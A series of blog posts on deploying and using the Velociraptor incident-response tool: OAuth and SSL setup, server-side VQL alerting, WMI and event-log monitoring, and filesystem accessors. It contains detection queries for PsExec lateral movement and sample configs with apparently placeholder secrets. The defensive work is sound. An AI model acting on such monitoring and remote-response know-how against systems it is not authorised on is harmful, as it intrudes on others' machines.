Our ultimate goal is to obtain OAuth credentials to give our Velociraptor app, but we have to have a few things set up first. The cloud console is fairly confusing so I usually use the search feature to find exactly what I need. Searching for "oauth" at the search bar indicates that it is under "APIs and Services".

We need to set up the OAuth consent screen first - in which we give our application a name to be presented to the user by the OAuth flow:

Further down we need to provide an authorized domain

In order to add an Authorized domain we need to verify it. Google's help pages explain it further:

To protect you and your users, Google restricts your OAuth 2.0 application to using Authorized Domains. If you have verified the domain with Google, you can use any Top Private Domain as an Authorized Domain.

And this links to https://www.google.com/webmasters/tools/home which again seems completely unrelated to OAuth, Velociraptor or even a web app (the web masters product is supposed to help sites increase their search presence).

Within this product we now need to "Add a property":

Hidden within the settings menu there is an option "Verification Details" which allows you to verify that you own the domain. If you purchased your domain from Google Domains then it should already be verified - otherwise you can set some TXT records to prove you own the domain.

After all this we can go back to the cloud console and Create Credentials/OAuth client ID:

Now select "Web App" and we must set the "Authorized redirect URIs" to https://velociraptor.rekall-innovations.com/auth/google/callback -This is the URL that successful OAuth authentication will direct to. Velociraptor accepts this redirect and uses it to log the user on.

The UI is a bit confusing here - you must press enter after typing the redirect URL to have it registered before you hit Create otherwise it misses that you typed it completely. I spent some time stumped on this UI bug.

If all goes well the Google cloud console will give us a client ID and a client secret. We can then copy those into the Velociraptor configuration file under the GUI section:

GUI:
  google_oauth_client_id: 1234xxxxxx.apps.googleusercontent.com
  google_oauth_client_secret: qsadlkjhdaslkjasd
  public_url: https://velociraptor.rekall-innovations.com/

logging:
  output_directory: /var/log/velociraptor/
  separate_logs_per_component: true

In the above config we also enabled logging (which is important for a secure application!). The separate_logs_per_component option will create a separate log file for the GUI, Frontend as well as important Audit related events.

Now we can start the Velociraptor frontend:

$ velociraptor --config server.config.yaml frontend

Connecting using the browser goes through the familiar OAuth flow and arrives at this Velociraptor screen:

The OAuth flow ensures the user's identity is correct but does not give them permission to log into Velociraptor. Note that having an OAuth enabled application on the web allows anyone with a Google identity to authenticate to the application but the user is still required to be authorized. We can see the following in the Audit logs:

{
  "level": "error",
  "method": "GET",
  "msg": "User rejected by GUI",
  "remote": "192.168.0.10:40570",
  "time": "2018-12-21T18:17:47+10:00",
  "user": "mike@velocidex.com"
}

In order to authorize the user we must explicitly add them using the velociraptor admin tool:

$ velociraptor --config ~/server.config.yaml user add mike@velocidex.com
Authentication will occur via Google - therefore no password needs to be set.

Note that this time, Velociraptor does not ask for a password at all, since authentication occurs using Google's SSO. If we hit refresh in the browser we can now see the Velociraptor application:

We can see that the logged in user is authenticated by Google, and we can also see their Google avatar at the top right for some more eye candy :-).

Shouts to the folks from Klein & Co who sponsored this exciting feature!.

Configuring Velociraptor for SSL

Sat, 22 Dec 2018 04:10:06 +0000

We have previously seen how to deploy a new Velociraptor server. For a simple deployment we can have Velociraptor server and clients provisioned in minutes.

Usually we deploy a specific Velociraptor deployment on our DFIR engagements. We use cloud resources to provision the server and have the clients connect to this cloud VM. A proper secure deployment of Velociraptor will use SSL for securing both client communication and protecting the web GUI.

In the past provisioning an SSL enabled web application was complex and expensive - you had to create certificate signing requests, interact with a CA. Pay for the certificates, then configure the server. In particular you had to remember to renew the cert in 2 years or your website suddenly broke!

Those days are over with the emergence of Lets Encrypt! and autocert. These days applications can automatically provision their own certificates. Velociraptor can manage its own certificates, fully automatically - and then renew its certificates when the time comes with no user intervention required.

In this blog post we will see how to configure a new Velociraptor server in a cloud VM.

Setting up a domain

The first step in deploying an SSL enabled web application is to have a domain name. SSL verifies the authenticity of a web site by its DNS name.

We go over to Google Domains and buy a domain. In this post I will be using the domain rekall-innovations.com.

Provisioning a Virtual Machine

Next we provision an Ubuntu VM from any cloud provider. Depending on your deployment size your VM should be large enough. An 8 or 16Gb VM should be sufficient for around 5-10k clients. Additionally we will need sufficient disk space to hold the data we will collect. We recommend to start with a modest amount of storage and then either backup data as it gets collected or increase the storage volume as needed.

Our virtual machine will receive connections over ports 80 and 443.

::: {.note} ::: {.admonition-title} Note :::

When using SSL both the client communication and the GUI are served over the same ports to benefit from SSL transport encryption. :::

When we deploy our Virtual Machine we may choose either a static IP address or allow the cloud provider to assign a dynamic IP address. We typically choose a dynamic IP address and so we need to configure Dynamic DNS.

Go to the Google Domains dashboard and create a new dynamic DNS for your domain. In our example we will use velociraptor.rekall-innovations.com as our endpoint address.

image

After the dynamic address is created, we can get the credentials for updating the IP address.

image

Next we install ddclient on our VM. This will update our dynamic IP address whenever the external interface changes. Configure the file `/etc/ddclient.conf`:

protocol=dyndns2
use=web
server=domains.google.com
ssl=yes
login=X13342342XYZ
password='slk43521kj'
velociraptor.rekall-innovations.com

Next configure the service to start:

# Configuration for ddclient scripts
# generated from debconf on Tue Oct 23 20:25:23 AEST 2018
#
# /etc/default/ddclient

# Set to "true" if ddclient should be run every time DHCP client ('dhclient'
# from package isc-dhcp-client) updates the systems IP address.
run_dhclient="false"

# Set to "true" if ddclient should be run every time a new ppp connection is
# established. This might be useful, if you are using dial-on-demand.
run_ipup="false"

# Set to "true" if ddclient should run in daemon mode
# If this is changed to true, run_ipup and run_dhclient must be set to false.
run_daemon="true"

# Set the time interval between the updates of the dynamic DNS name in seconds.
# This option only takes effect if the ddclient runs in daemon mode.
daemon_interval="300"

Run dhclient and check that it updates the address correctly.

Configuring Velociraptor for SSL

Now comes the hard part! We need to configure Velociraptor to use SSL. Edit the following in your server.config.yaml file (if you do not have one yet you can generate one using velociraptor config generate > server.config.yaml ):

Client:
   server_urls:
   - https://velociraptor.rekall-innovations.com/

autocert_domain: velociraptor.rekall-innovations.com
autocert_cert_cache: /etc/velociraptor_cache/

The autocert_domain parameter tells Velociraptor to provision its own cert for this domain automatically. The certificates will be stored in the directory specified by autocert_cert_cache. You don't have to worry about rotating the certs, Velociraptor will automatically renew them.

Obviously now the clients need to connect to the control channel over SSL so we also need to direct the client's server_urls parameter to the SSL port.

Lets start the frontend (We need to start Velociraptor as root because it must be able to bind to port 80 and 443):

$ sudo velociraptor --config server.config.yaml frontend -v

[INFO] 2018-12-22T17:12:42+10:00 Loaded 43 built in artifacts
[INFO] 2018-12-22T17:12:42+10:00 Increased open file limit to 999999
[INFO] 2018-12-22T17:12:42+10:00 Launched gRPC API server on 127.0.0.1:8888
[INFO] 2018-12-22T17:12:42+10:00 Autocert specified - will listen on ports 443 and 80. I will ignore specified GUI port at 8889
[INFO] 2018-12-22T17:12:42+10:00 Autocert specified - will listen on ports 443 and 80. I will ignore specified Frontend port at 8889
[INFO] 2018-12-22T17:12:42+10:00 Frontend is ready to handle client requests using HTTPS

If all goes well we now can point our browser to https://velociraptor.rekall-innovations.com/ and it should just work. Don't forget to provision a user and password using:

$ velociraptor --config server.config.yaml user add mic

Notes

The autocert configuration is very easy to do but there are a few caveats:

Both ports 80 and 443 must be accessible over the web. This is needed because Letsencrypt's servers need to connect to our domain name in order to verify our domain ownership.
It is not possible to change the ports from port 80 and 443 due to limitations in Letsencrypt's ACME protocol. This is why we can not have more than one Velociraptor deployment on the same IP currently.

We have seen how easy it is to deploy secure Velociraptor servers. In the next post we will discuss how to enhance security further by deploying two factor authentication with Google's Single Sign On (SSO).

::: {.note} ::: {.admonition-title} Note :::

This feature will be available in the upcoming 0.27 release. You can try it now by building from git head. :::

Server side VQL queries and Escalation Events

Mon, 10 Dec 2018 04:10:06 +0000

Previously we have seen how Velociraptor collects information from end points using Velociraptor artifacts. These artifacts encapsulate user created queries using the Velociraptor Query Language (VQL). The power of VQL is that it provides for a very flexible way of specifying exactly what should be collected from the client and how - without needing to modify client code or deploy new clients!

This is not the whole story though! It is also possible to run VQL queries on the server side! Similarly server side Velociraptor artifacts can be used to customize the operation of the server -without modifying any code or redeploying the server components.

Server Side VQL Queries.

By now you are probably familiar with Velociraptor and VQL. We have seen that it is possible to run a VQL query interactively from the commandline. For example to find all processes matching the 'gimp':

$ velociraptor query \
   "SELECT Pid, Exe, Cmdline FROM pslist() WHERE Exe =~ 'gimp'"
[
 {
  "Cmdline": "gimp-2.10",
  "Exe": "/usr/bin/gimp-2.10",
  "Pid": 13207
 }
]

We have used this feature previously in order to perfect and test our queries by interactively building the query as we go along.

However it is also possible to run queries on the server itself in order to collect information about the server. There is nothing special about this as such - it is simply that some VQL plugins are able to operate on the server's internal data store and therefore provide a way to interact with the server via VQL queries.

::: {.note} ::: {.admonition-title} Note :::

Other endpoint monitoring tools export a rich API and even an API client library to enable users to customize and control their installation. For example, GRR expects users write python scripts using the GRR client API library.

Velociraptor's approach is different - the functionality typically available via APIs is made available to VQL queries via VQL plugins (e.g. client information, flow information and results collected). In this way the VQL itself forms an API with which one controls the server and deployment. There is no need to write any code - simply use existing VQL plugins in any combination that makes sense to create new functionality - then encapsulates these queries inside Velociraptor artifacts for reuse and sharing. :::

For example, to see all the clients and their hostnames:

$ velociraptor query \
   "SELECT os_info.fqdn as Hostname, client_id from clients()" --format text
+-----------------+--------------------+
|    Hostname     |     client_id      |
+-----------------+--------------------+
| mic-Inspiron    | C.772d16449719317f |
| TestComputer    | C.11a3013cca8f826e |
| trek            | C.952156a4b022ddee |
| DESKTOP-IOME2K5 | C.c916a7e445eb0868 |
+-----------------+--------------------+
SELECT os_info.fqdn AS Hostname,
client_id FROM clients()

To inspect what flows were run on a client:

$ velociraptor query \
   "SELECT runner_args.creator, runner_args.flow_name, \
    runner_args.start_time FROM \
    flows(client_id='C.772d16449719317f')"
[
{
  "runner_args.creator": "",
  "runner_args.flow_name": "MonitoringFlow",
  "runner_args.start_time": 1544338661236625
},
{
  "runner_args.creator": "mic",
  "runner_args.flow_name": "VFSDownloadFile",
  "runner_args.start_time": 1544087705756469
},
...

Client Event Monitoring

We have also previously seen that Velociraptor can collect event streams from clients. For example, the client's process execution logs can be streamed to the server. Clients can also receive event queries which forward selected events from the windows event logs.

When we covered those features in earlier blog posts, we stressed that the Velociraptor server does not actually do anything with the client events, other than save them to a file. The server just writes the client's events in simple Comma Separated files (CSV files) on the server.

We mentioned that it is possible to import this file into another tool (e.g. a spreadsheet or database) for post-processing. An alternative is to perform post-processing with Velociraptor itself using server side VQL queries.

For example, we can filter a client's process execution log using a VQL query:

$ velociraptor query "SELECT * from monitoring(
      client_id='C.87b19dba006fcddb',
      artifact='Windows.Events.ProcessCreation')
    WHERE Name =~ '(?i)psexesvc' "
[
 {
  "CommandLine": "\"C:\\\\Windows\\\\PSEXESVC.exe\"",
  "Name": "\"PSEXESVC.exe\"",
  "PID": "452",
  "PPID": "512",
  "Timestamp": "\"2018-12-09T23:30:42-08:00\"",
  "artifact": "Windows.Events.ProcessCreation",
  "client_id": "C.87b19dba006fcddb"
 }
]

The above query finds running instances of psexec's service component - a popular method of lateral movement and privilege escalation.

This query uses the monitoring() VQL plugin which opens each of the CSV event monitoring logs for the specified artifact on the server, decodes the CSV file and emits all the rows within it into the VQL Query. The rows are then filtered by applying the regular expression to the name.

Server side event queries

VQL queries do not have to terminate at all. Some VQL plugins can run indefinitely, emitting rows at random times - usually in response to some events. These are called Event Queries since they never terminate. We saw this property when monitoring the client - the above Windows.Events.ProcessCreation artifact uses an event query which emits a single row for each process execution on the end point.

However, we can also have Event Queries on the server. When used in this way the query triggers in response to data collected by the server of various clients.

For example, consider the above query to detect instances of psexec executions. While we can detect this by filtering existing monitoring event logs, it would be nice to be able to respond to such an event dynamically.

One way is to repeatedly run the same query (say every minute) and look for newly reported instances of psexec executions. But this approach is not terribly efficient. A better approach is to install a watcher on the monitoring event log:

$ velociraptor query "SELECT * from watch_monitoring(
     client_id='C.87b19dba006fcddb',
     artifact='Windows.Events.ProcessCreation') where Name =~ '(?i)psexesvc' "
[
 {
  "CommandLine": "\"C:\\\\Windows\\\\PSEXESVC.exe\"",
  "Name": "\"PSEXESVC.exe\"",
  "PID": "4592",
  "PPID": "512",
  "Timestamp": "\"2018-12-10T01:18:06-08:00\"",
  "artifact": "Windows.Events.ProcessCreation",
  "client_id": "C.87b19dba006fcddb"
 }
]

The watcher efficiently follows the monitoring CSV file to detect new events. These events are then emitted into the VQL query and subsequently filtered. When the query processes all rows in the file, the plugin just sleeps and waits for the file to grow again. The watch_monitoring() plugin essentially tails the CSV file as it is being written. Note that due to the fact that log files are never truncated and always grow, and that CSV file format is a simple, one row per line format it is possible to both read and write to the same file without locking. This makes following a growing log file extremely efficient and safe - even from another process.

Responding to server side events

The previous query will return a row when psexec is run on the client. This is a very suspicious event in our environment and we would like to escalate this by sending us an email.

We can modify the above query to send an email for each event:

SELECT * FROM foreach(
   row={
     SELECT * from watch_monitoring(
       client_id='C.87b19dba006fcddb',
       artifact='Windows.Events.ProcessCreation')
    WHERE Name =~ '(?i)psexesvc'
   },
   query={
     SELECT * FROM mail(
       to='admin@example.com',
       subject='PsExec launched on host',
       period=60,
       body=format(format='PsExec execution detected at %v: %v',
                   args=[Timestamp, Commandline])
     )
   })

The query sends an email from each event emitted. The message body is formatted using the format() VQL function and this includes important information from the generated event. Note that the mail() plugin restricts the frequency of mails to prevent triggering the mail server's spam filters. So if two psexec executions occur within 60 seconds we will only get one email.

In order for Velociraptor to be able to send mail you must configure SMTP parameters in the server's configuration file. The following example uses gmail to send mails (other mail providers will have similar authentication requirements).

Mail:
  server: "smtp.gmail.com"
  auth_username: someuser@gmail.com
  auth_password: zldifhjsdflkjfsdlie

The password in the configuration is an application specific password obtained from https://security.google.com/settings/security/apppasswords

image

Tying it all together: Server Side Event Artifacts

As always we really want to encapsulate VQL queries in artifact definitions. This way we can design specific alerts, document them and invoke them by name. Let us encapsulate the above queries in a new artifact:

name: Server.Alerts.PsExec
description:  |
   Send an email if execution of the psexec service was detected on any client.

   Note this requires that the Windows.Event.ProcessCreation
   monitoring artifact be collected.

parameters:
  - name: EmailAddress
    default: admin@example.com
  - name: MessageTemplate
    default: |
      PsExec execution detected at %v: %v for client %v

sources:
  - queries:
     - |
       SELECT * FROM foreach(
         row={
           SELECT * from watch_monitoring(
             artifact='Windows.Events.ProcessCreation')
           WHERE Name =~ '(?i)psexesvc'
         },
         query={
           SELECT * FROM mail(
             to=EmailAddress,
             subject='PsExec launched on host',
             period=60,
             body=format(
               format=MessageTemplate,
               args=[Timestamp, CommandLine, ClientId])
          )
       })

We create a new directory called my_artifact_directory and store that file inside as psexesvc.yaml. Now, on the server we invoke the artifact collector and instruct it to also add our private artifacts:

$ velociraptor --definitions my_artifact_directory/ \
    --config ~/server.config.yaml \
    --format json \
    artifacts collect Server.Alerts.PsExec
INFO:2018/12/10 21:36:27 Loaded 40 built in artifacts
INFO:2018/12/10 21:36:27 Loading artifacts my_artifact_directory/
[][
 {
  "To": [
    "admin@example.com"
  ],
  "CC": null,
  "Subject": "PsExec launched on host",
  "Body": "PsExec execution detected at \"2018-12-10T03:36:49-08:00\": \"C:\\\\Windows\\\\PSEXESVC.exe\"",
  "Period": 60
 }
]

Conclusions

This blog post demonstrates how VQL can be used on the server to create a full featured incident response framework. Velociraptor does not dictate a particular workflow, since all its actions are governed by VQL queries and artifacts. Using the same basic building blocks, users can fashion their own highly customized incident response workflow. Here is a brainstorm of possible actions:

An artifact can be written to automatically collect a memory capture if a certain event is detected.
Using the http_client() VQL plugin, when certain events are detected on the server open a ticket automatically (using a SOAP or JSON API).
If a particular event is detected, immediately shut the machine down or quarantine it (by running shell commands on the compromised host).

The possibilities are truly endless. Comment below if you have more interesting ideas and do not hesitate to contribute artifact definitions to address your real world use cases.

More on client event collection

Sun, 09 Dec 2018 04:10:06 +0000

Periodic Event queries

The simplest kind of events are periodically generated events. These are created using the clock() VQL plugin. This is a simple event plugin which just emits a new row periodically.

$ velociraptor query "select Unix from clock(period=5)" --max_wait 1
[
 {
   "Unix": 1544339715
 }
][
 {
   "Unix": 1544339720
 }
]^C

The query will never terminate, instead the clock() plugin will emit a new timestamp every 5 seconds. Note the --max_wait flag which tells Velociraptor to wait at least for 1 second in order to batch rows before reporting them.

This query is not very interesting! Let's do something more interesting. GRR has a feature where each client sends its own CPU use and memory footprint sampled every minutes to the server. This is a really useful feature because it can be used to make sure the client's impact on the host's performance is minimal.

Let us implement the same feature with a VQL query. What we want is to measure the client's footprint every minute and send that to the server:

SELECT * from foreach(
 row={
   SELECT UnixNano FROM clock(period=60)
 },
 query={
   SELECT UnixNano / 1000000000 as Timestamp,
          Times.user + Times.system as CPU,
          MemoryInfo.RSS as RSS
   FROM pslist(pid=getpid())
 })

This query runs the clock() VQL plugin and for each row it emits, we run the pslist() plugin, extracting the total CPU time (system + user) used by our own pid (i.e. the Velociraptor client).

We can now encapsulate this query in an artifact and collect it:

$ velociraptor artifacts collect Generic.Client.Stats --max_wait 1 --format json
[][
  {
  "CPU": 0.06999999999999999,
  "RSS": 18866176,
  "Timestamp": 1544340582.9939497
  }
][
  {
  "CPU": 0.09,
  "RSS": 18866176,
  "Timestamp": 1544340602.9944408
  }
]^C

::: {.note} ::: {.admonition-title} Note :::

You must specify the --format json to be able to see the results from event queries on the command line. Otherwise Velociraptor will try to get all the results so it can format them in a table and never return any results. :::

Installing the event collector.

In order to have clients collect this event, we need to add the artifact to the server. Simply add the YAML file into a directory on the server and start the server with the --definitions flag. Then simply add the event name to the Events clause of the server configuration. When clients connect to the server they will automatically start collecting these events and sending them to the server:

$ velociraptor --definitions path/to/my/artifacts/ frontend

Events:
  artifacts:
  - Generic.Client.Stats
  version: 2

Note that we do not need to redeploy any clients, modify any code or recompile anything. We simply add the new artifact definition and clients will automatically start monitoring and feeding back our information.

The data is sent to the server where it is stored in a file (Events are stored in a unique file for each day).

For example, the path /var/lib/velociraptor/clients/C.772d16449719317f/monitoring/Artifact%20Generic.Client.Stats/2018-12-10 stores all events collected from client id C.772d16449719317f for the Generic.Client.Stats artifact on the day of 2018-12-10.

In the next blog post we will demonstrate how these events can be post processed and acted on. It is important to note that the Velociraptor server does not interpret the collected monitoring events at all -they are simply appended to the daily log file (which is a CSV file).

The CSV file can then be imported into basically any tool designed to work with tabular data (e.g. spreadsheets, databases, BigQuery etc). CSV is almost universally supported by all major systems.

Timestamp,CPU,RSS
1544363561.8001275,14.91,18284544
1544363571.8002906,14.91,18284544
1544363581.8004665,14.920000000000002,18284544
1544363591.8007126,14.920000000000002,18284544
1544363601.8008528,14.920000000000002,18284544

Event Queries and Endpoint Monitoring

Fri, 09 Nov 2018 04:10:06 +0000

Why monitor endpoint events? Recording end point event information on the server gives a bunch of advantages. For one, the server keeps a record of historical events, which makes going back to search for these easy as part of an incident response activity.

For example, Velociraptor can keep a running log of process execution events for all clients, on the server. If a particular executable is suspected to be malicious, we can now go back and search for the execution of that process in the past on the infected machine (for establishing the time of infection), as well as search the entire deployment base for the same binary execution to be able identify lateral movement and wider compromises.

How are events monitored?

Velociraptor relies heavily on VQL queries. A VQL query typically produces a single table of multiple rows. For example, the query:

SELECT Name, CommandLine FROM pslist()

Returns a single row of all running processes, and then returns.

However, VQL queries do not have to terminate at all. If the VQL plugin they are calling does not terminate, the VQL query will continue to run and pass events in partial results to the VQL caller.

Event queries are just regular VQL queries which do not terminate (unless cancelled) returning rows whenever an event is generated.

Consider the parse_evtx() plugin. This plugin parses an event log file and returns all events in it. We can then filter events and return specific events of interest. The following query returns all the service installation events and terminates:

F:\>velociraptor.exe query "SELECT EventData, System.TimeCreated.SystemTime from
   parse_evtx(filename='c:/windows/system32/winevt/logs/system.evtx') where
   System.EventId.value = '7045'"
[
 {
  "EventData": {
   "AccountName": "",
   "ImagePath": "system32\\DRIVERS\\VBoxGuest.sys",
   "ServiceName": "VirtualBox Guest Driver",
   "ServiceType": "kernel mode driver",
   "StartType": "boot start"
  },
  "System.TimeCreated.SystemTime": "2018-11-10T06:32:34Z"
 }
]

The query specifically looks at the 7045 event "A service was installed in the system"

Lets turn this query into an event query:

F:\>velociraptor.exe query "SELECT EventData, System.TimeCreated.SystemTime from
   watch_evtx(filename='c:/windows/system32/winevt/logs/system.evtx') where
   System.EventId.value = '7045'" --max_wait 1
[
  "EventData": {
    "AccountName": "",
    "ImagePath": "C:\\Users\\test\\AppData\\Local\\Temp\\pmeFF0E.tmp",
    "ServiceName": "pmem",
    "ServiceType": "kernel mode driver",
    "StartType": "demand start"
  },
  "System.TimeCreated.SystemTime": "2018-11-10T04:57:35Z"
  }
]

The watch_evtx() plugin is the event watcher equivalent of the parse_evtx() plugin. If you ran the above query, you will notice that Velociraptor does not terminate. Instead it will show all existing service installation events in the log file, and then just wait in the console.

If you then install a new service (in another terminal), for example using winpmem.exe -L, a short time later you should see the event reported by Velociraptor as in the above example. You will notice that the watch_evtx() plugin emits event logs as they occur, but Velociraptor will try to group the events into batches. The max_wait flag controls how long to wait before releasing a partial result set.

Employing event queries for client monitoring

The above illustrates how event queries work, but to actually be able to use these we had to implement the Velociraptor event monitoring framework.

Normally, when we launch a CollectVQL flow, the client executes the query and returns the result to the flow. Clearly since event queries never terminate, we can not run them in series (because the client will never be able to do anything else). The Velociraptor client has a table of executing event queries which are run in a separate thread. As these queries return more results, the results are sent back to the server.

We also wanted to be able to update the events the clients are monitoring on the fly (without a client restart). Therefore we needed a way to be able to update the client's event table. This simply cancels current event queries, and installs new queries in their place.

image

As events are generated by the Event Table, they are sent back to the server into the Monitoring flow. This flow is automatically created for each client. The monitoring flow simply writes events into the client's VFS. Therefore, events are currently simply recorded for each client. In future there will be a mechanism to post process event and produce alerts based on these.

Process Execution logs

One of the most interesting event plugins is the WMI eventing plugin. This allows Velociraptor to install a temporary WMI event listener. For example, we can install a listener for new process creation:

// Convert the timestamp from WinFileTime to Epoch.
SELECT timestamp(epoch=atoi(
  string=Parse.TIME_CREATED) / 10000000 - 11644473600 ) as Timestamp,
  Parse.ParentProcessID as PPID,
  Parse.ProcessID as PID,
  Parse.ProcessName as Name, {
    SELECT CommandLine
    FROM wmi(
      query="SELECT * FROM Win32_Process WHERE ProcessID = " +
          format(format="%v", args=Parse.ProcessID),
      namespace="ROOT/CIMV2")
  } AS CommandLine
  FROM wmi_events(
       query="SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE
              TargetInstance ISA 'Win32_Process'",
       wait=5000000,   // Do not time out.
       namespace="ROOT/CIMV2")

The wmi_events() plugin installs an event listener into WMI and therefore receives events from the OS about new process creation events. Unfortunately these events, do not contain a lot of information about the process. They only provide the ProcessID but not the full command line. The above query executes a second subquery to retrieve the command line for the process. We also parse the timestamp and convert it into a more standard epoch based timestamp.

Specifying what should the client monitor

We have seen how Event VQL queries can generate events for the server. However, this is difficult for Velociraptor's end users to directly use. Who can really remember the full query?

As we have shown previously, Velociraptor's Artifacts are specifically designed to solve this issue. Artifacts encapsulate a VQL query so it can be called by name alone.

For example, the Windows.Events.ProcessCreation artifact encapsulates the above query in one easy to remember name.

To specify what clients should collect, users simply need to name the event artifacts that should be monitored. Currently this is done in the server configuration (in future this may be done via the GUI).

Events:
  artifacts:
  - Windows.Events.ServiceCreation
  - Windows.Events.ProcessCreation
  version: 1

The event table version should be incremented each time the monitored event list is updated. This forces all clients to refresh their event tables.

How does it look like in the GUI?

The Monitoring flow simply writes files into the client's VFS. This allows these to be downloaded and post processed outside of Velociraptor.

image

Conclusions

Adding event monitoring to Velociraptor is a great step forward. Even just keeping the logs around is extremely helpful for incident response. There is a lot of value in things like process execution logging, and remote event log forwarding. We will cover some more examples of event log monitoring in future blog posts. Until then, have a play and provide feedback as usual by filing issues and feature requests.

Velociraptor's filesystem's accessors

Sun, 30 Sep 2018 04:10:06 +0000

In addition, Velociraptor can now also read Volume Shadow Copy snapshots. The gives a kind of time-machine ability to allow the investigator to look through the drive content at a previous point in the past.

This blog post introduces the new features and describe how Velociraptor's filesystem accessors work to provide data from multiple sources to VQL queries.

We have previously seen that Velociraptor can list and download files from the client's filesystem, as well as registry keys and values. The client's filesystem is made available to VQL plugins such as glob() allowing many Artifacts to be written that work on files, registry keys and raw NTFS volumes.

While Velociraptor is a great remote response tool, everything that it can do remotely, it can also do locally using a command line interface. This gives the user an opportunity to interactively test their VQL queries while writing artifacts.

The latest release adds a couple of convenient command line options which allow the user to interact with the filesystem accessors. For example, to list the files in a directory we can use the "velociraptor fs ls" command:

F:\>velociraptor.exe fs ls
+------+------+------------+---------------------------+---------------------------------+
| Name | Size |    Mode    |           mtime           |              Data               |
+------+------+------------+---------------------------+---------------------------------+
| C:   |    0 | d--------- | 1969-12-31T16:00:00-08:00 | Description: Local Fixed Disk   |
|      |      |            |                           | DeviceID: C:                    |
|      |      |            |                           | FreeSpace: 12686422016          |
|      |      |            |                           | Size: 33833349120               |
|      |      |            |                           | SystemName: DESKTOP-IOME2K5     |
|      |      |            |                           | VolumeName:                     |
|      |      |            |                           | VolumeSerialNumber: 9459F443    |
| D:   |    0 | d--------- | 1969-12-31T16:00:00-08:00 | Description: CD-ROM Disc        |
|      |      |            |                           | DeviceID: D:                    |
|      |      |            |                           | FreeSpace: 0                    |
|      |      |            |                           | Size: 57970688                  |
|      |      |            |                           | SystemName: DESKTOP-IOME2K5     |
|      |      |            |                           | VolumeName: VBox_GAs_5.2.11     |
|      |      |            |                           | VolumeSerialNumber: A993F576    |
+------+------+------------+---------------------------+---------------------------------+
SELECT Name, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime,
   Data FROM glob(globs=path, accessor=accessor)

The "fs ls" command instructs Velociraptor to list directories using its internal filesystem accessors. By default it will use the "file" accessor - which simply uses the usual Win32 api filesystem calls (i.e. CreateFile, FindFirstFile etc).

On windows, the file accessor lists the drive letters at the root of the filesystem, then allows subdirectories to be listed under each letter. The above output shows some metadata for each drive letter (like its size etc) and below the table we can see the VQL query that was used to generate the table. To be clear, the "fs ls" command is simply a shortcut for producing a VQL query that ultimately uses the filesystem accessor in the glob() VQL plugin. Therefore, we can enter any glob expression to find files:

F:\>velociraptor.exe fs ls -v "c:\program files\**\*.exe"
+--------------------------------+----------+------------+---------------------------+------+
|            FullPath            |   Size   |    Mode    |           mtime           | Data |
+--------------------------------+----------+------------+---------------------------+------+
| C:\Program Files\Windows Defen |  4737448 | -rw-rw-rw- | 2018-07-14T17:56:49-07:00 |      |
| der Advanced Threat Protection |          |            |                           |      |
| \MsSense.exe                   |          |            |                           |      |
| C:\Program Files\Windows Defen |   791384 | -rw-rw-rw- | 2018-07-14T17:56:43-07:00 |      |
| der Advanced Threat Protection |          |            |                           |      |
| \SenseCncProxy.exe             |          |            |                           |      |
| C:\Program Files\Windows Defen |  3832016 | -rw-rw-rw- | 2018-07-14T17:56:50-07:00 |      |
| der Advanced Threat Protection |          |            |                           |      |
| \SenseIR.exe                   |          |            |                           |      |
| C:\Program Files\Windows Defen |  2147192 | -rw-rw-rw- | 2018-07-14T18:05:00-07:00 |      |
| der Advanced Threat Protection |          |            |                           |      |
| \SenseSampleUploader.exe       |          |            |                           |      |
........
+--------------------------------+----------+------------+---------------------------+------+
SELECT FullPath, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime, Data FROM
glob(globs=path, accessor=accessor)

When using the registry filesystem accessor, the registry appears like a filesystem, allowing us to run glob expressions against registry keys and values (Note that the registry accessor provides the value in the metadata):

F:\>velociraptor.exe fs --accessor reg ls "HKEY_USERS\*\Software\Microsoft\Windows\CurrentVersion\{Run,RunOnce}\*"
+---------------+------+------------+---------------------------+---------------------------------+
|     Name      | Size |    Mode    |           mtime           |             Data                |
+---------------+------+------------+---------------------------+---------------------------------+
| OneDriveSetup |  104 | -rwxr-xr-x | 2018-09-03T02:48:53-07:00 | type: SZ                        |
|               |      |            |                           | value: C:\Windows\SysWOW64\     |
|               |      |            |                           | OneDriveSetup.exe /thfirstsetup |
| OneDriveSetup |  104 | -rwxr-xr-x | 2018-09-03T02:48:47-07:00 | type: SZ                        |
|               |      |            |                           | value:   C:\Windows\SysWOW64\   |
|               |      |            |                           | OneDriveSetup.exe /thfirstsetup |
+---------------+------+------------+---------------------------+---------------------------------+
SELECT Name, Size, Mode.String AS Mode, timestamp(epoch=Mtime.Sec) AS mtime,
Data FROM glob(globs=path, accessor=accessor)

Finally, the NTFS accessor can access files by parsing the NTFS filesystem directly. At the top level, the accessor shows all NTFS formatted partitions. These include regular drives as well as Volume Shadow Copies:

F:\>velociraptor.exe fs --accessor ntfs ls
+--------------------------------+------+------------+---------------------------------------------------------+
|              Name              | Size |    Mode    |                             Data                        |
+--------------------------------+------+------------+---------------------------------------------------------+
| \\.\C:                         |    0 | d--------- | Description: Local Fixed Disk                           |
|                                |      |            | DeviceID: C:                                            |
|                                |      |            | FreeSpace: 11802157056                                  |
|                                |      |            | Size: 33833349120                                       |
|                                |      |            | SystemName: DESKTOP-IOME2K5                             |
|                                |      |            | VolumeName:                                             |
|                                |      |            | VolumeSerialNumber: 9459F443                            |
| \\?\GLOBALROOT\Device\Harddisk |    0 | d--------- | DeviceObject: \\?\GLOBALROOT\Device\                    |
|                                |      |            |             HarddiskVolumeShadowCopy1                   |
| VolumeShadowCopy1              |      |            | ID: {CAF25144-8B70-4F9E-B4A9-5CC702281FA1}              |
|                                |      |            | InstallDate: 20180926154712.490617-420                  |
|                                |      |            | OriginatingMachine: DESKTOP-IOME2K5                     |
|                                |      |            | VolumeName: \\?\Volume{3dc4b590-0000-000-501f00000000}\ |
| \\?\GLOBALROOT\Device\Harddisk |    0 | d--------- | DeviceObject: \\?\GLOBALROOT\Device\                    |
|                                |      |            |            HarddiskVolumeShadowCopy2                    |
| VolumeShadowCopy2              |      |            | ID: {E48BFDD7-7D1D-40AE-918C-36FCBB009941}              |
|                                |      |            | InstallDate: 20180927174025.893104-420                  |
|                                |      |            | OriginatingMachine: DESKTOP-IOME2K5                     |
|                                |      |            | VolumeName: \\?\Volume{3dc4b590-0000-000-501f00000000}\ |
+--------------------------------+------+------------+---------------------------------------------------------+
